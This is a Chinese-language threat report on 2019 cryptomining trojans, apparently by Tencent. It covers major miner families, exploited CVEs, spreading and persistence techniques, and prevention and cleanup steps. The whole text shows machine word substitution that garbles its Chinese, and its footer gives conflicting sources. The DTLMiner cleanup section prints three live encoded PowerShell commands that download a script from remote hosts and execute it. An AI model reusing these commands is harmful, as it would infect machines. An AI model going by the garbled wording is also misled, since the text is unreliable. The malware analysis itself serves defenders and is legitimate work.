目次
一、背景
二、币价曲线与严峻平安事宜
2.1WannaCry
2.2第一次上涨
2.3波动下跌
2.4第二次上涨
三、2019挖矿木马感染趋向
3.1样本产量
3.2地区散布
3.3行业散布
3.4活泼家属
3.5主要入侵体式格局
四、2019挖矿木马手艺特性
4.1流传特性
4.2歹意代码实行
4.3耐久化进击
五、挖矿木马防备和措置发起
5.1防备计划
5.2措置发起
六、挖矿木马的将来趋向
6.1“永久之蓝“破绽
6.2BlueKeep破绽
6.3僵尸收集
一、背景
2019年8月，国度宣告支撑深圳竖立中国特色社会主义先行示范区的看法，个中提到，支撑在深圳展开数字钱银研讨与挪动付出等立异运用。业内人士以为，展开数字钱银研讨将发挥数字经济的积极作用。
2009年比特币降生，至今已第十年，建立于2014年的门罗币也已到了第5年。以比特币，门罗币为代表的数字加密钱银近年来已逐步为群众所熟知，不少人应用生意业务数字钱银赚取收益。
跟着数字经济的蓬勃发展，由此带来的数字资产平安问题也不断涌现，根据数字钱银的基本原理：不依托特定钱银机构刊行、根据特定算法、经由历程大批的盘算发作，使得“挖矿”成为最基本的猎取数字加密钱银的体式格局。而想要经由历程“挖矿”猎取更多的币，唯一的门路是提拔算力，所以须要投入大批的资金用购置盘算装备。
而黑客老是愿望不投入资金就取得大批报答，“掌握其他人的盘算机举行挖矿盘算”的主意情不自禁，这也就是“挖矿木马”的看法。“挖矿木马”的最早涌现时候现在不能肯定，然则入手下手大范围盛行于2017年终。
黑客入侵掌握大批盘算机并植入矿机程序后，应用盘算机的CPU或GPU资本完成大批运算，从而取得数字加密钱银。同时，黑产在暗网举行不法数据或数字兵器售卖时大部份采纳比特币作为生意业务钱银，致使数字加密钱银成为黑灰产业的流畅序言，也催生了挖矿产业的延续繁华。从2017年迸发以后，挖矿木马逐步成为收集世界主要的要挟之一。
挖矿历程CPU占用
本报告起首引见以比特币价钱变化曲线为时候轴，在该时代发作的严峻平安事宜，然后总结2019年挖矿木马的整体趋向以及手艺特性，并给出了通用型和具有针对性的防备和措置发起，末了对挖矿木马的将来趋向作出展望。
二、币价曲线与严峻平安事宜
比特币价钱与平安事宜
视察2017～2019年的比特币价钱曲线和严峻平安事宜图，能够发明在此时代，“币价高位猛烈波动，平安事宜屡见不鲜”，部份影响较大的进击事宜以下：
2.1 WannaCry
2017年5月12日，WannaCry蠕虫经由历程MS17-010破绽在环球局限大迸发，感染了大批企业的盘算机。该蠕虫感染盘算机后向盘算机中植入敲诈者病毒，致使电脑大批文件被加密，然后向受害者索要比特币作为恢复文件的赎金。
2.2 第一次上涨
WannaCry蠕虫迸发后的半年时候内（即2017年5月至2017年12月），比特币价钱呈迸发性增进，由1000美圆/BTC上涨至17000美圆/BTC。
WannaCry以后的一段时候内，没有涌现其他讹诈病毒运用“永久之蓝”破绽大范围流传的状况，但是挖矿木马却看从中到了“商机”。2017年下半年入手下手连续有应用“永久之蓝”进击的挖矿木马，起首被发明的是大型僵尸收集MyKings。
2.2.1 MyKings
Mykings僵尸收集是迄今为止发明的最庞杂的僵尸收集之一，主要进击特性为应用“永久之蓝”破绽和针对MsSQL，RDP，Telnet等效劳举行暗码爆破，然后在沦陷主机植入挖矿模块，长途掌握模块，而且应用扫描进击模块举行蠕虫式流传。
2017年4月以后，MyKings流传量入手下手涌现迸发式增进，恰是其应用“永久之蓝”破绽兵器进击所致使。经由历程在僵尸收集中装置门罗币挖矿机，应用效劳器资本挖矿，MyKings的门罗币钱包已取得凌驾百万人民币的收益。
2.2.2 ZombieBoy
2017年12月腾讯御见要挟谍报中心检测到一款挖矿木马，其PDB文件中发明了明文字符串“C:\Users\ZombieBoy\Documents\Visual Studio 2017\Projects\nc\Release\nc.pdb”，在网上经由历程症结字“ZombieBoy”举行查找，我们发明了一款“永久之蓝”破绽应用东西，推想黑客将此东西革新后于流传挖矿木马。我们根据特性将其其命名为ZombieBoyMiner，御见背景统计数据显现，该木马在岑岭时代感染凌驾7万台电脑。
破绽应用东西ZombieBoy
2.3 波动下跌
ZombieBoyMiner涌现时（2017年12月）正值比特币价钱的最岑岭，以后入手下手波动下跌历程。接着，2018年3月，另一个应用“永久之蓝”破绽大局限进击的挖矿蠕虫病毒WannaMiner被发明了。
2.3.1 WannaMiner
WannaMiner木马将染毒机械构建成一个硬朗的僵尸收集，而且支撑内网自更新，最终目标为经由历程挖矿赢利。因为其在内网流传历程当中经由历程SMB举行内核进击，大概形成企业内网大批机械涌现蓝屏征象。根据统计数据，WannaMiner矿蠕虫感染量凌驾3万台。
WannaMiner的进击流程以下：
WannaMiner的进击流程
2.3.2 BuleHero
2018年8月涌现了“最强破绽进击“的挖矿蠕虫病毒BuleHero。根据御见要挟谍报中心延续跟踪效果，除了“永久之蓝”破绽外，BuleHero运用了以下破绽举行进击：
LNK破绽CVE-2017-8464
Tomcat恣意文件上传破绽CVE-2017-12615
Apache Struts2长途代码实行破绽CVE-2017-5638
Weblogic反序列化恣意代码实行破绽CVE-2018-2628，CVE-2019-2725
Drupal长途代码实行破绽CVE-2018-7600
Apache Solr 长途代码实行破绽CVE-2019-0193
THinkphpV5破绽CNDV-2018-24942
除了以上破绽以外，BuleHero的最新版本还运用了2019年9月20日浙江杭州警方宣告的“PHPStudy“后门事宜中表露的位于php_xmlrpc.dll模块中的破绽。
“PHPStudy“后门应用
2.3.3 DTLMiner
2018年12月迸发了DTLMiner（永久之蓝下载器）挖矿木马。黑客经由历程入侵某公司效劳器，修正某款软件的的升级配置文件，致使装置该软件的用户在升级时下载了木马文件。木马运转后又应用“永久之蓝”破绽在内网中疾速流传，致使仅2个小时受进击用户就高达10万。
DTLMiner构建僵尸收集后，在中招机械植入门罗币矿机程序挖矿。因为DTLMiner前期在短时时候内感染量大批机械，后续又延续更新，加入了MsSQL爆破、IPC$爆破、RDP爆破和Lnk破绽应用等进击手段，使得其在2019年一向坚持活泼。
升级组件破绽被应用进击声明
2.3.4 “匿影”
DTLMiner以后，2019年3月初涌现了“匿影”挖矿木马。该木马放肆应用功用网盘和图床隐蔽自身，并照顾NSA兵器库从而具有在局域网横向流传的才能。“匿影”所运用大批的大众效劳以下：
“匿影”运用的大众效劳
2.4 第二次上涨
在“匿影”挖矿木马涌现的同时，比特币价钱从新恢复上涨。2019年3月至2019年6月，比特币价钱由4000美圆/BTC上涨至12000美圆/BTC。
sodinokibi
2019年6月，在比特币价钱再次回升到高点时，sodinokibi讹诈病毒迸发。该讹诈病毒起首涌现于2019年4月尾，初期运用web效劳相干破绽流传，与赫赫有名的GandCrab讹诈病毒较为类似。此时GandCrab已宣告住手运营，sodinokibi险些完整继续了GandCrab的流传渠道。
6月摆布，sodinokibi讹诈病毒入手下手伪装成税务单元、司法机构，运用垂纶敲诈邮件来流传，因为体系默许设置不显现文件扩展名，伪装成doc文档的EXE病毒常被错误推断为文档而双击翻开。
伪装成文档的Sodinokib讹诈病毒
2019年6月以后，比特币价钱入手下手迟缓下跌。在2019年下半年，也没有涌现影响较大的，新的挖矿木马家属。
三、2019挖矿木马感染趋向
3.1样本产量
根据腾讯平安御见要挟谍报中心统计数据，2019年挖矿木马进击呈“上升-下落-坚持安稳”的趋向。数据显现，2019年上半年挖矿木马异常活泼，岑岭时检出进击样本凌驾10万个/日；5月以后进击趋向有所减缓，下落到了6万个/日，以后坚持安稳。整体来看，挖矿木马在主机和效劳器上都保有较大范围的感染量，使得挖矿木马成为企业面对的最严峻的平安要挟之一。
2019年挖矿木马日产量趋向
3.2地区散布
从地区散布来看，2019年挖矿木马在全国各地均有散布，个中感染最严峻的地区分别为广东省，浙江省，北京市，以及江苏省。
2019年感染挖矿木马地区散布
3.3行业散布
从行业散布来看，2019年受挖矿木马影响最严峻的行业分别为互联网，制造业，科研和手艺效劳以及房地产业。
2019年挖矿木马影响行业散布
3.4活泼家属
2019年挖矿木马最活泼的三个家属分别为WannaMiner，MyKings，DTLMiner（永久之蓝下载器木马）。个中MyKings是老牌的僵尸收集家属，而WannaMiner和DTLMiner分别在2018年终和岁尾涌现。在2019年这几个家属都有凌驾2万用户的感染量，他们的配合特性为应用“永久之蓝”破绽举行蠕虫式流传，运用多品种的耐久化进击手艺，难以被彻底消灭。
2019年挖矿木马活泼TOP榜
3.5主要入侵体式格局
2019年挖矿木马主要入侵体式格局前三名分别是破绽进击、弱口令爆破和借助僵尸收集。因为挖矿木马须要猎取更多的盘算资本，所以应用普遍存在的破绽和弱口令，或许是掌握大批机械的僵尸收集举行大范围流传成为挖矿木马的首选。
挖矿木马主要入侵体式格局
3.5.1 破绽进击范例
挖矿木马进击时应用的破绽最主要范例为Windows体系破绽（“永久之蓝”），其次是WebLogic相干组件破绽，Apache相干组件破绽。常用于进击的包括以下CVE编号的破绽：
MS17-010“永久之蓝”CVE-2017-0143
Weblogic反序列化恣意代码实行破绽CVE-2017-10271，CVE-2018-2628，CVE-2019-2725
Apache Struts2长途代码实行破绽CVE-2017-5638
Apache Solr 长途代码实行破绽CVE-2019-0193
Apache Tomcat长途代码实行破绽CVE-2017-12615
挖矿木马主要破绽进击范例
3.5.2 爆破进击范例
挖矿木马主要的爆破进击范例为SQL爆破(包括MsSQL、MySQL)，其次是IPC$和SSH。因为部份IT治理人员缺少平安意识，很多数据库和长途登录效劳被设置为弱口令。SplashData宣告的2019排名前五位的最差暗码分别是“123456”、“123456789”、“qwerty”、“password”和“1234567”，这些暗码也是黑客在爆破进击时的首选。
挖矿木马经由历程内置的包括大批简朴暗码的字典举行自动婚配，很轻易破解此类弱口令并入侵体系。
挖矿木马主要爆破进击范例
四、2019年挖矿木马的手艺特性
4.1流传特性
4.1.1 供应链感染
2018岁尾涌现的DTLMiner是应用现有软件的升级功用举行木马分发，属于供应链感染的典范案例。黑客在背景配置文件中插进去木马下载链接，致使软件在升级时下载木马文件。因为软件自身具有庞大的用户量，致使木马在短时候内感染量大批的机械。
DTLMiner改动的配置文件
4.1.2 跨平台进击
挖矿木马阅历了从掌握一般电脑到以掌握企业主机为主，从只掌握Windows挖矿到夹杂感染多个平台的变化。2019年腾讯御见要挟谍报中心发明了”Agwl“，“萝莉帮”，WannaMine，Satan等多个针对linux的挖矿木马。
2019年3月，Satan病毒涌现最新变种，该变种病毒针对Windows体系和Linux体系举行无差别进击，然后在中招电脑中植入讹诈病毒讹诈比特币、同时植入挖矿木马挖矿门罗币。
Satan病毒跨平台进击
我们发明黑产为了完成的好处最大化，还会将挖矿木马与讹诈软件、远控后门、剪贴板悍贼、DDOS等木马的打包举行夹杂进击。以下枚举2019年的7个盛行家属及其在进击中植入的病毒品种：
多种病毒组合进击
4.1.3 社交收集
2019年12月御见要挟谍报中心发明了经由历程社会工程骗术流传的“山君”挖矿木马（LaofuMiner）。进击者将远控木马程序伪装成“火爆消息”、“色情内容”、“隐私材料”、“欺骗技能”等文件名，经由历程社交收集发送到目标电脑，受害者双击检察文件马上被装置“大灰狼”远控木马。然后进击者经由历程远控木马掌握中毒电脑下载挖矿木马，中毒电脑随即沦为矿工。
用于垂纶进击的部份文件名以下：
LaofuMiner运用的垂纶文件
4.1.4 VNC爆破
2019年3月，Phorpiex僵尸收集针对被普遍运用的长途治理东西“VNC”默许端口5900举行爆破进击，在高代价效劳器高低载运转GandCrab 5.2讹诈病毒加密主要体系材料实行巧取豪夺；若攻破有数字钱银生意业务的电脑，则运转数字钱银钱包挟制木马抢钱；若被进击的只是一般电脑则被植入门罗币挖矿木马，成为Phorpiex掌握的矿工电脑。
Phorpiex针对VNC效劳爆破
4.1.5 感染型病毒
2019年4月感染型病毒Sality被发明应用竖立的P2P收集，流传以偷取、挟制假造币生意业务为目标的“剪切板悍贼“木马。
Sality可感染当地硬盘、可挪动存储装备、长途同享目次下的可实行文件，同时会应用可挪动、长途同享驱动器的自动播放功用举行感染，然后在中招体系下载并实行“剪切板悍贼”木马。
Sality修正可实行文件的进口点，以病毒代码替代原始文件代码，使得一切被感染程序启动时实行病毒功用：
Sality感染可实行文件
“剪切板悍贼“木马经由历程剪切板内容中的字符花样特性推断以太币或比特币钱包地点，并将切板内容替代为指定钱包，若用户在此时粘贴并举行转账操纵，数字资产便落入黑客的口袋：
“剪切板悍贼“木马替代钱包地点
4.2歹意代码实行
4.2.1 Powershell
2019年4月3日DTLMiner在Powershell中反射加载PE映像，到达 “无文件”情势实行挖矿程序。这类要领直接在Powershell.exe历程中运转歹意代码，注入“白历程”实行的体式格局大概形成难以检测和消灭挖矿代码。这也是初次发明的，大范围应用“无文件”情势实行的挖矿木马。
DTLMiner在感染体系上装置计划使命，重复下载和实行一段加密的Powershell剧本，在剧本代码中嵌入了一段Base64编码的字符$Code64，该段字符实际上是XMRIG挖矿程序的二进制数据。
Base64编码的XMRig二进制数据
Powershell起首将$Code64解码为Bytes花样，然后挪用Invoke-ReflectivePEInjection函数在内存中反射PE注入实行挖矿程序。
DTLMiner反射注入实行挖矿程序
4.2.2 DLL侧加载
KingMiner最早于2018年6月中旬涌现，是一种针对Windows效劳器MSSQL举行爆破进击的门罗币挖矿木马。进击者采纳多种回避手艺来绕过假造机环境和平安检测，致使一些反病毒引擎没法正确查杀。
将来回避杀软检测，KingMiner启动挖矿木马时采纳DLL侧加载(DLL Side-Loading)手艺，也就是“白+黑”手艺，应用一般的有数字署名的白文件来挪用歹意DLL。其运用到的有微软体系文件“Credential Backup andRestore Wizard(凭证备份和复原导游)”和多个着名公司的数字署名的文件：
“GuangZhou KuGou Computer Technology Co.,Ltd.”
“Google Inc”
“福建创意嘉和软件有限公司”
KingMiner应用的白文件署名
4.3耐久化进击
4.3.1 计划使命
KingMiner运用RegisterTaskDefinition建立名为WindowsMonitor的计划使命，每15分钟实行一次Powershell剧本；或许装置在体系启动时实行的计划使命WindowsHelper，并在WindowsHelper中装置计划使命WindowsMonitor实行一次VBS剧本代码。
KingMiner装置计划使命
4.3.2 WMI计时器
KingMiner在WMI中建立为名为WindowsSystemUpdate_WMITimer的计时器，并将实行一段剧本代码的事宜消费者WindowsSystemUpdate_consumer经由历程事宜过滤器WindowsSystemUpdate _filter绑定到计时器。跟着计时器触发，每15分钟实行一次VBS剧本代码。
KingMiner装置WMI计时器
4.3.3 阻断外部入侵
KingMiner推断盘算机版本是不是受CVE-2019-0708破绽的影响，同时推断盘算机是不是装置指定的补丁kb4499175、kb4500331、KB4499149、KB4499180、KB4499164（这些补丁是微软宣告的CVE-2019-0708长途桌面效劳长途代码实行破绽的补丁号）。
假如没有装置CVE-2019-0708补丁，则修正设置制止其他机械经由历程长途桌面效劳接见本机，以此来来阻挠其他木马进入体系，从而到达独有挖矿资本的目标。
KingMiner封闭RDP效劳
五、挖矿木马防备和措置发起
5.1防备计划
5.1.1 暗码治理
效劳器运用平安的暗码战略，特别是SQL效劳器的sa账号暗码，切勿以下弱口令；
123456、admin、root、123456789、qwert、password、1234567、12345678、12345、lloveyou、111111、123123、888888、1234567890、88888888、666666等
5.1.2 端口治理
效劳器临时封闭不必要的端口（如135、139、445、3389），要领可参考：https://guanjia.qq.com/web_clinic/s8/585.html；
企业用户可布置腾讯T-sec高等要挟检测体系（腾讯御界），发明、追踪黑客进击线索。腾讯T-sec高等要挟检测体系是基于腾讯平安反病毒实验室的平安才能、依托腾讯在云和端的海量数据(603138,股吧)，研发出的奇特要挟谍报和歹意检测模子体系。（https://s.tencent.com/product/gjwxjc/index.html）
腾讯御界高等要挟检测体系sqlserver爆破告警
5.1.3 Windows破绽修复
根据微软通告实时修复以下Windows体系高危破绽；
MS17-010永久之蓝破绽
XP、WindowsServer2003、win8等体系接见：
http://www.catalog.update.microsoft.com/Search.aspx?q=KB4012598
Win7、win8.1、Windows Server 2008、Windows10,WindowsServer2016等体系接见：https://technet.microsoft.com/zh-cn/library/security/ms17-010.aspx
Office公式编辑器破绽 CVE-2017-11882
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882
Lnk破绽CVE-2017-8464
https://portal.msrc.microsoft.com/zh-cn/security-guidance/advisory/CVE-2017-8464
IE破绽 CVE-2018-8174
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-8174
RDP效劳破绽 CVE-2019-0708
Windows XP、Windows 2003：
https://support.microsoft.com/zh-cn/help/4500705/customer-guidance-for-cve-2019-0708
Windows 7、Windows 2008R2：
https://www.catalog.update.microsoft.com/Search.aspx?q=KB4499175
Windows 2008：
https://www.catalog.update.microsoft.com/Search.aspx?q=KB4499180
也可运用腾讯御点或腾讯电脑管家举行破绽扫描和修复。
（https://s.tencent.com/product/yd/index.html）
腾讯御点修复体系破绽
5.1.4 效劳器组件破绽修复
a. Oracle Weblogic恣意代码实行破绽
CVE-2017-10271
影响版本
OracleWebLogic Server10.3.6.0.0
OracleWebLogic Server12.1.3.0.0
OracleWebLogic Server12.2.1.1.0
OracleWebLogic Server12.2.1.2.0
官方补丁通告：
https://www.oracle.com/security-alerts/cpuoct2017.html
CVE-2018-2628
影响版本
Oracle WebLogic Server10.3.6.0
Oracle WebLogic Server12.2.1.2
Oracle WebLogic Server12.2.1.3
Oracle WebLogic Server12.1.3.0
官方补丁通告：
http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
CVE-2019-2725
影响版本
Oracle WebLogic Server10.3.6.0
Oracle WebLogic Server12.1.3.0
官方补丁通告：
https://www.oracle.com/security-alerts/alert-cve-2019-2725.html
b. Apache相干组件破绽
Apache Struts2长途代码实行破绽CVE-2017-5638
影响局限
Struts 2.3.5 �C Struts 2.3.31
Struts 2.5 �C Struts 2.5.10
官方补丁通告：
https://cwiki.apache.org/confluence/display/WW/S2-045?from=timeline&isappinstalled=0
Apache Solr 长途代码实行破绽CVE-2019-0193
受影响版本
Apache Solr < 8.2.0
官方补丁通告：
https://issues.apache.org/jira/browse/SOLR-13669
Apache Tomcat长途代码实行破绽CVE-2017-12615
影响版本
Apache Tomcat 7.0.0-7.0.79
官方补丁通告：
http://tomcat.apache.org/security-7.html#Fixed_in_Apache_Tomcat_7.0.81
也可运用腾讯平安研发的御知收集资产风险监测体系排查收集资产的平安风险，对企业的收集资产及各种运用的可用性、平安性与合规性等举行按期的平安扫描、延续性的风险预警和破绽检测。（https://s.tencent.com/product/narms/index.html）
腾讯御知检测Apache struts2破绽
5.2措置发起
如发明主机体系涌现明显卡慢，或效劳器涌现历程长时候凌驾80%CPU占用的征象，则大概感染了挖矿木马。可根据以下步骤举行确认和移除操纵。
5.2.1感染确认
1)个人用户
a.经由历程Windows使命治理器（或PCHunter或Process Explorer）或Linux下运用敕令ps -aux ，找到高CPU占用的历程及其文件。若文件在体系目次下，在另一台机械上找到同名的一般体系文件与可疑文件举行对照；若在某软件目次下，找到该软件的同名一般文件与可疑文件举行对照。
挖矿历程CPU占用
b.运用PCHunter或Linux下运用敕令netstat -tup 查找历程收集衔接的IP及端口，特别是5559、7777、4444、13333等可疑长途端口衔接。接着运用该IP地点举行域名反查，注重指向该IP的域名中是不是包括“miner”,”pool”等字样。
若在以上a步骤中消除体系文件或一般软件文件，且该文件具有b中的可疑收集衔接，则大概感染挖矿木马。
2)企业用户
企业用户发起布置腾讯御界高等要挟检测体系，可辨认挖矿历程当中的通信协议，从收集流量中检测挖矿行动。
御界检测挖矿行动
5.2.2 病毒移除
确认感染挖矿木马后，可运用腾讯电脑管家消灭，也可尝试根据以下步骤举行手动消灭：
1）Windows体系
运用PCHunter或其他治理东西退出可疑历程，删除历程文件，并在启动项、效劳、计划使命中找到启动该文件映像的项目并删除。
PCHunter删除挖矿木马启动项
2）Linux体系
下经由历程敕令pkill -9退出历程；
删除历程文件，并搜检crontab敕令下显现的木马相干定时使命；
删除以下目次下木马相干定时使命；
/var/spool/cron/root/
/var/spool/cron/crontabs
删除以下目次下木马相干自启动项；
/etc/rcS.d/
/etc/rc.d/init.d/
企业用户可在效劳器布置腾讯御点终端平安治理体系，对挖矿木马举行清算。
5.2.3 清算僵尸收集
1）MyKings
MyKings僵尸收集清算发起
排查数据库功课称号，消灭包括歹意代码的功课；
排查数据库存储历程，清算包括歹意代码的内容；
因为MyKings最新版本还会感染“暗云“MBR、Rookit等固执病毒，用户可运用电脑管家体系急救箱举行查杀清算，运用指南及下载链接：https://guanjia.qq.com/avast/283/index.html
电脑管家体系急救箱清算MBR和内核级病毒
2）WannaMiner
WannaMiner清算发起
3）DTLMiner（永久之蓝下载器木马）
DTLMiner清算发起
删除随机名计划使命：“VDoaC”、"hadpeRz\oABwX"、"lKNVFjCJm\oWuUXql"
DTLMiner随机名计划使命
启动程序分别为：
/c "set A=power& call %A%shell -ep bypass -e JABMAGUAbQBvAG4AXwBEAHUAYwBrAD0AJwBWAEQAbwBhAEMAJwA7ACQAeQA9ACcAaAB0AHQAcAA6AC8ALwB0AC4AdAByADIAcQAuAGMAbwBtAC4AYwBvAG0ALwB2AC4AagBzACcAOwAkAHoAPQAkAHkAKwAnAHAAJwArACcAPwBtAHMAXwAyADAAMQA5ADEAMgAyADcAJwA7ACQAbQA9ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAHkAKQA7AFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AF0AOgA6AEMAcgBlAGEAdABlACgAKQAuAEMAbwBtAHAAdQB0AGUASABhAHMAaAAoACQAbQApAHwAZgBvAHIAZQBhAGMAaAB7ACQAcwArAD0AJABfAC4AVABvAFMAdAByAGkAbgBnACgAJwB4ADIAJwApAH0AOwBpAGYAKAAkAHMALQBlAHEAJwBkADgAMQAwADkAYwBlAGMAMABhADUAMQA3ADEAOQBiAGUANgBmADQAMQAxAGYANgA3AGIAMwBiADcAZQBjADEAJwApAHsASQBFAFgAKAAtAGoAbwBpAG4AWwBjAGgAYQByAFsAXQBdACQAbQApAH0A"
/c "set A=power& call %A%shell -ep bypass -e JABMAGUAbQBvAG4AXwBEAHUAYwBrAD0AJwBoAGEAZABwAGUAUgB6AFwAbwBBAEIAdwBYACcAOwAkAHkAPQAnAGgAdAB0AHAAOgAvAC8AdAAuAGEAdwBjAG4AYQAuAGMAbwBtAC8AdgAuAGoAcwAnADsAJAB6AD0AJAB5ACsAJwBwACcAKwAnAD8AbQBzAF8AMgAwADEAOQAxADIAMgA3ACcAOwAkAG0APQAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJAB5ACkAOwBbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBNAEQANQBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBDAG8AbQBwAHUAdABlAEgAYQBzAGgAKAAkAG0AKQB8AGYAbwByAGUAYQBjAGgAewAkAHMAKwA9ACQAXwAuAFQAbwBTAHQAcgBpAG4AZwAoACcAeAAyACcAKQB9ADsAaQBmACgAJABzAC0AZQBxACcAZAA4ADEAMAA5AGMAZQBjADAAYQA1ADEANwAxADkAYgBlADYAZgA0ADEAMQBmADYANwBiADMAYgA3AGUAYwAxACcAKQB7AEkARQBYACgALQBqAG8AaQBuAFsAYwBoAGEAcgBbAF0AXQAkAG0AKQB9AA=="
/c "set A=power& call %A%shell -ep bypass -e JABMAGUAbQBvAG4AXwBEAHUAYwBrAD0AJwBsAEsATgBWAEYAagBDAEoAbQBcAG8AVwB1AFUAWABxAGwAJwA7ACQAeQA9ACcAaAB0AHQAcAA6AC8ALwB0AC4AYQBtAHgAbgB5AC4AYwBvAG0ALwB2AC4AagBzACcAOwAkAHoAPQAkAHkAKwAnAHAAJwArACcAPwBtAHMAXwAyADAAMQA5ADEAMgAyADcAJwA7ACQAbQA9ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAHkAKQA7AFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AF0AOgA6AEMAcgBlAGEAdABlACgAKQAuAEMAbwBtAHAAdQB0AGUASABhAHMAaAAoACQAbQApAHwAZgBvAHIAZQBhAGMAaAB7ACQAcwArAD0AJABfAC4AVABvAFMAdAByAGkAbgBnACgAJwB4ADIAJwApAH0AOwBpAGYAKAAkAHMALQBlAHEAJwBkADgAMQAwADkAYwBlAGMAMABhADUAMQA3ADEAOQBiAGUANgBmADQAMQAxAGYANgA3AGIAMwBiADcAZQBjADEAJwApAHsASQBFAFgAKAAtAGoAbwBpAG4AWwBjAGgAYQByAFsAXQBdACQAbQApAH0A"
六、挖矿木马的将来趋向
6.1 “永久之蓝“破绽
自2017年NSA兵器走漏以来，“永久之蓝“破绽被挖矿木马普遍应用。跟着各大平安厂商对该破绽举行修复和防备，该破绽的影响正在逐步削减。然则从数据上看，仍有约30%未装置“永久之蓝“破绽补丁，因此估计2020年有大概涌现新的应用“永久之蓝“破绽的挖矿木马。
6.2BlueKeep破绽
2019年5月15日，微软宣告了针对长途桌面效劳（Remote Desktop Services ，之前称为终端效劳）的症结长途实行代码破绽CVE-2019-0708的修复程序，该破绽影响Windows的Windows 7、Windows Server 2008 R2、Windows Server 2008、Windows 2003、Windows XP等多个版本。进击者一旦胜利触发该破绽，便能够在目标体系上实行恣意代码。
2019年9月，我们注重到应用CVE-2019-0708破绽的EXP代码已被公然宣告至metasploit-framework的Pull requests中，经测试能够完成长途代码实行；同时在2019年10月挖矿蠕虫DTLMiner在其进击模块中也已加入了CVE-2019-0708破绽检测代码，因此我们推想在2020年极有大概涌现应用该破绽的新型挖矿木马。
6.3僵尸收集
MyKings、KingMiner、WannaMiner等挖矿僵尸收集在前期感染了大批机械，掌握体系后经由历程计划使命、数据库存储历程、WMI等手艺举行耐久化进击，因此可随时从效劳器下载最新版本的歹意代码，很难被彻底消灭。将来平安厂商与这些病毒团伙在的匹敌还会延续。
参考链接
WannaCry蠕虫详细剖析
https://www.freebuf.com/articles/system/134578.html
WannaMiner挖矿木马进击事宜转达
https://mp.weixin.qq.com/s/FEyaQ_AHn2TZPy-5FeMP7A
ZombieBoy木马剖析
https://www.freebuf.com/column/157584.html
“VNC劫匪”进击预警：中招企业遭受GandCrab 5.2等多种病毒连环暴击
https://www.freebuf.com/column/198957.html
区块链火了Sality病毒，感染3万电脑乘机偷取比特币
https://www.freebuf.com/column/218404.html
针对SQL弱口令的爆破进击再度袭来，KingMiner矿工已掌握上万电脑
https://www.freebuf.com/column/221248.html
永久之蓝木马下载器首创“无文件挖矿”新模式
https://www.freebuf.com/column/200241.html
GandCrab退出江湖 小心继任者sodinokibi讹诈病毒取而代之
https://www.freebuf.com/column/205215.html
BlueHero蠕虫再升级，新增震网3代兵器库，看一眼就中招
https://www.freebuf.com/column/181604.html
蠕虫病毒bulehero再次应用“永久之蓝”在企业内网进击流传
https://www.freebuf.com/column/180544.html
BuleHero 4.0挖矿蠕虫真猖獗，超十种要领进击企业收集
https://www.freebuf.com/column/219973.html
支撑在深圳展开数字钱银研讨
https://finance.sina.com.cn/blockchain/coin/2019-08-19/doc-ihytcitn0105787.shtml
悄悄兴起的挖矿机僵尸收集：打效劳器挖代价百万门罗币
https://www.freebuf.com/articles/web/146393.html
“驱动人生”木马详细剖析报告 2小时感染10万台电脑挖门罗币
https://www.freebuf.com/column/192015.html
一场精心策划的针对驱动人生公司的定向进击运动剖析
https://www.freebuf.com/articles/system/192194.html
本文泉源：金色财经，不代表和讯网官方看法。
（责任编辑：张雅洁 HF083）,返回网站首页
关注我们：请关注一下我们的微信公众号：扫描二维码
，公众号：aiboke112版权声明：本文为原创文章，版权归 所有，欢迎分享本文，转载请保留出处！
评论已关闭！